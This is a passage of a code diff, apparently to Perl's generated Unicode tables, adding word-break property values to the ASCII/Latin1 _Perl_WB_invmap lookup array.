 } WB_enum;
 
+#   endif	/* ASCII/Latin1 */
+
+#   if 'A' == 65 /* ASCII/Latin1 */
+
 static const WB_enum _Perl_WB_invmap[] = { /* for ASCII/Latin1 */
 	WB_Other,
 	WB_Perl_Tailored_HSpace,
@@ -20103,7 +83300,19 @@
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_MidNum,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
 	WB_MidLetter,
+	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
@@ -20111,6 +83320,8 @@
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
 	WB_ALetter,
 	WB_Other,
@@ -20117,11 +83328,680 @@
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_MidNum,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
 	WB_ALetter,
+	WB_MidLetter,
 	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Format,
+	WB_Other,
 	WB_ALetter,
+	WB_Extend,
+	WB_Numeric,
+	WB_Other,
+	WB_Numeric,
+	WB_MidNum,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Format,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Format,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Format,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Numeric,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Perl_Tailored_HSpace,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Format,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Numeric,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_Other,
+	WB_Extend,
+	WB_ZWJ,
+	WB_Format,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
 	WB_MidLetter,
+	WB_Newline,
+	WB_Format,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_Format,
+	WB_Other,
+	WB_Format,
+	WB_Other,
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
@@ -20128,10 +84008,61 @@
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_Extend,
+	WB_Other,
 	WB_ALetter,
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_E_Base,
+	WB_Other,
+	WB_Glue_After_Zwj,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
 	WB_Extend,
 	WB_ALetter,
 	WB_Other,
@@ -20141,18 +84072,2832 @@
 	WB_Other,
 	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Perl_Tailored_HSpace,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Katakana,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Extend,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_Other,
+	WB_Hebrew_Letter,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
 	WB_MidNum,
 	WB_Other,
+	WB_MidLetter,
+	WB_MidNum,
+	WB_Other,
 	WB_Extend,
 	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_MidNum,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidNum,
+	WB_MidLetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidNum,
+	WB_Other,
+	WB_MidNumLet,
+	WB_Other,
+	WB_MidLetter,
+	WB_MidNum,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ExtendNumLet,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Katakana,
 	WB_Extend,
+	WB_ALetter,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
 	WB_Extend,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
 	WB_Extend,
 	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Numeric,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Katakana,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Format,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Format,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_Extend,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
+	WB_ALetter,
+	WB_Other,
